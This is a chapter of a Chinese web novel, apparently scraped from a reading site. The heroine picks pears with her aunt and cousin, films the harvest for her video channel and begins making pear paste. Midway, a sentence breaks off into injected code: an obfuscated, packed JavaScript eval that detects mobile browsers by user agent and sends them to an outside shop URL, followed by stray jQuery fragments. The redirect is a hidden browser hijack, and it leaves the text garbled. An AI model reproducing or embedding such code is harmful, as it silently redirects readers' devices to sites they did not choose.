见袁栎还是有点不大好意思,袁朝英倒不高兴了,“你说说你有什么不好意思的,你以后要这样就别来家里了!”

    “这梨树本来就没指望卖钱,结得多是好事,你用得着,大姑高兴还来不及呢!行了,立新,快去把筐子拿来,咱们开始摘!”

    孔立新应了一声,麻利地把带过来的框子拿过来,路过袁栎是拍了她一下,“行了,就几个梨还吃不穷你姑呢!”

    袁栎看着大姑和表哥热情的样子,心里暖融融的,也不再纠结了,“那好吧,谢谢大姑,谢谢立新哥!不过我可不是白拿,等回头我把秋梨膏做好了也分你们点儿。”

    袁朝英这才高兴,刚才她就觉得惊讶,“你还会做秋梨膏呢?你这孩子厉害,你看你哥,就会吃!”

    孔立新哼了一声懒得理他妈,搞得好像她会做一样。

    袁栎笑着摇头,“我就喜欢瞎看,啥都了解一点,慢慢尝试呗!”

    她晃了晃一直随身带着的设备,“大姑,我打算从摘梨开始,把做秋梨膏的全过程都拍下来,做成视频,我尽量不拍到你们哈!”

    她想到什么又笑了起来,“我也算有几个粉丝了,到时候给你加家梨打个广告!”

    袁超英乐了,“咱家就这十来棵树,人家真要买咱也没得卖啊!不过要是有人想买苹果的话咱家倒能卖!”

    袁栎想了想觉得其实也不是不行,每年有老板过来收苹果,但他们在这卖可能是两块五一公斤,但他们再转手那可能就是七八块块一公斤。

    当然了,这里面还有别的成本在,不能简单粗暴一减去就觉得是利润,但也不得不说,不管啥时候最可怜的还是底层的老百姓。如果有人愿意直接下单倒也挺好的,她来了这边后倒是没太关注有没有直播助农之类的,但在她从前的那个时代里,助农直播不要太多。

    她也不主要搞这个,就顺带着挂个小黄车,愿意买的就买,不愿意买就拉倒。

    毕竟让她去一二三上链接,她也实在是不太会。

    不过这些后面再说吧,现在先拍摘梨子。

    见袁朝英在扒拉自己的衣服,孔立新好笑道,“妈你干嘛?月亮不是说了吗,基本上不会拍到你的!”

    袁朝英横了他一眼,“咋了,我干活就不能把衣服拽板正了?”

    孔立新啃了口梨声音含糊不清,“嘿,你说你这老太太,那你要不要再回家化个妆啊?”

    袁朝英伸手就要打他,孔立新嘿嘿一笑赶忙跑开,气得袁朝英骂,“我就说生儿子没屁用,一把年纪的人了,说话做事还是能把人气死!”

    袁栎给她呼噜背,笑道,“大姑你别跟哥生气,他皮糙肉厚的你就算打他一顿都无所谓,你气坏了可不值当。”

    孔立新在一边哼哼却也没再说什么,开始摘梨。

    袁栎给她把衣服拽拽正,又把头巾给调整了一下,“我之前的视频都不太拍人,不过过会儿大姑你就在树下,别上树,也别爬梯子,我拍几个你摘梨的片段,到时候给你剪进去。”

    袁朝英乐呵呵地点头,又横了孔立新一眼开始干活。

    袁栎把手机的参数调了调开始了录制镜头首先对准了枝头青翠饱满、累累坠坠的苹果梨,阳光透过树叶缝隙,在梨子上投下斑驳的光影,显得格外诱人。她拉了个近景,能清晰看到梨子表皮细小的斑点。

    袁大姑家的苹果梨树倒是不多,但是真结了不少。而且她家这树大,春天的时候应该是打过头,所以树不算高,都是往四周长的,这种好摘。太高的话就算长了,人摘不到也没用。

    所以乍一看过去,这不算太高的梨树密密麻麻结满了苹果梨,看起来就让人高兴。毕竟丰收什么时候都是让人高兴的。

    接着,镜头转向袁超英和孔立新,袁超英利落地指挥着儿子,让儿子去踩梯子摘高的地方的梨。

    够不着的枝子就那个钩子一钩一拽,就将树枝拽到自己身旁了。

    袁朝英两人在树下摘用的是桶,孔立新则是背了个袋子在胸前,上下都方便,不用还专门空出只手来拎桶。

    袁栎将镜头对准袁朝英,她单手抓住一只梨轻轻往上一提,只听那苹果梨的果把发出“咔嚓”一声,果把断了。

    她将梨轻轻放在桶里,又拽住了稍高的一个枝子。她将桶挂在旁边的一根较粗的梨树枝上,一手拽着树枝,一手摘梨,干活很是利索。

    袁超英起初感受到镜头对着自己不免有点拘谨,但当她干起活来后便忘了镜头的存在。

    袁栎没说话,袁朝英和孔立新也没说话,只是偶尔孔立新让她接一下梨。

    两人干活都不墨迹,看着就让人心里舒坦。

    袁栎找了棵还没摘的树,将手机摆设好后自己也开始摘,她总得干点儿活的,总拍别人,自己当甩手掌柜就不好了。

    三人花了两个小时左右将梨子摘的差不多了,剩下大半颗树没摘。

    看着树上的梨子袁栎有点不解,“不摘了?”

    孔立新点头,“之后地里活儿多,留点梨子谁想吃还能过来摘。摘不完的到时候就挂在树上,到时候下雪了还能吃冻梨呢!”

    袁栎瞪大了眼睛,“直接在树上冻?”

    孔立新嘿了一声,“你这是出去几年,咱们这边冬天啥情况呢都忘了啊?”

    可再一想,他大舅和舅妈走得早,家里地早都租出去了,她这么些年在外面读书工作确实也没啥机会接触这些。至于小时候的记忆,那都啥时候的事情了,肯定不记得了。

    “咱们这边冬天能有零下20度左右,梨子挂在树上只要不掉下来,等下了雪那梨子被冻得黑黢黢硬邦邦的,到时候就摘回家。像我们小时候就放在炉子边上化,现在的话可以放在暖气片上化,等化了之后里面的梨肉会变得软软糯糯的,就跟吃果冻一样,而且特别甜,汁水还多”,说着说着孔立新咽了下口水,他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16635060|183070||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    自己也觉得不好意思了,“今年我们多留一点儿,等冬天我带你跟星星过来摘冻梨。”

    袁栎自然乐呵呵地答应下来,她之前可没吃过挂在树上的冻梨,星星肯定也没有,到时候可要来长长见识!

    摘完梨后孔立新和袁朝英还有活儿要干,她干脆就先运些梨回去。

    今年梨接的不少,十一二棵树结了估计有1吨的梨,他们带的是25公斤的箱子,装了将近40箱。

    袁栎车里使劲儿塞也只塞了不到十箱,孔立新见状笑了起来,“行了你就先把这几箱拉回去吧,等晚点儿我爸把拖拉机开过来一下就全拉回去了,到时候再给你留上十来箱。”

    袁栎赶忙摆手,“真不用,这太多了,我用上个一百公斤都差不多了。”

    孔立新无奈,“让你拿你就拿,这一吨梨说多不多说少不少,咱们这儿又没有收梨的老板,自己拉到县里去卖一公斤最多也就4块钱吧,人家还得挑三拣四的,挑下来的我自己都懒得吃,就自己消化了拉倒!”

    今年天儿真不错,作物长得也好,但是也因此农产品就卖不上价啊!

    他之前不是没卖过梨,但是真懒得去折腾,钱赚不上几个,还不够费劲儿的呢!

    “你要觉得多,不行你之后看给朋友送送,你要觉得不好意思要这么多,回头你家里吃啥好的了,给你大姑送点儿也就行了。”

    “都是自己家的东西,又不费劲儿。而且我们今年不管是打药还是肥料都没给这树上,也就是投入了点儿人工,自家吃的东西,你可别跟我矫情了啊!”

    袁栎抬起双手投降,“行行行我不说了好了吧”,她无奈,一两箱都好说,太多了她难免觉得不好意思。

    “行了,赶紧回去吧!”

    回到家,袁栎先在院子里找了个光线好、背景整洁的角落,将一筐筐苹果梨摆放好,拍了个丰收感十足的开场定格镜头。然后,她换上了一件舒适的棉麻围裙,将会垂下来的头发找了个卡子别好,开始准备制作秋梨膏。

    她架好手机支架,调整好角度,确保能清晰拍摄到全部的细节。

    首先是将梨清洗干净,院子里有个水龙头,冬天用不了会冻住,但是夏天洗个菜什么的还是挺方便的。

    袁栎将一大盆苹果梨倒在了一个大盆里一个个仔细搓洗,洗去表面的灰尘和可能残留的果蜡,大姑家没打农药,倒不用担心农药残留。

    水流哗哗,梨子在水中显得更加晶莹剔透。

    她不打算削皮,那就得好好洗干净。

    洗净的梨需要切块去核,她又搬出一个大号的木质案板,拿出厚实锋利的菜刀。袁栎没有选择用擦丝器,而是决定手工切块,这样能更好地保留梨的纤维和口感,熬出的秋梨膏风味更有层次。

    费时间倒无所谓,毕竟她现在做的事情某种程度上来说,越是耗费时间普通人不会去自己做的事情,才有可能引起别人的好奇呢!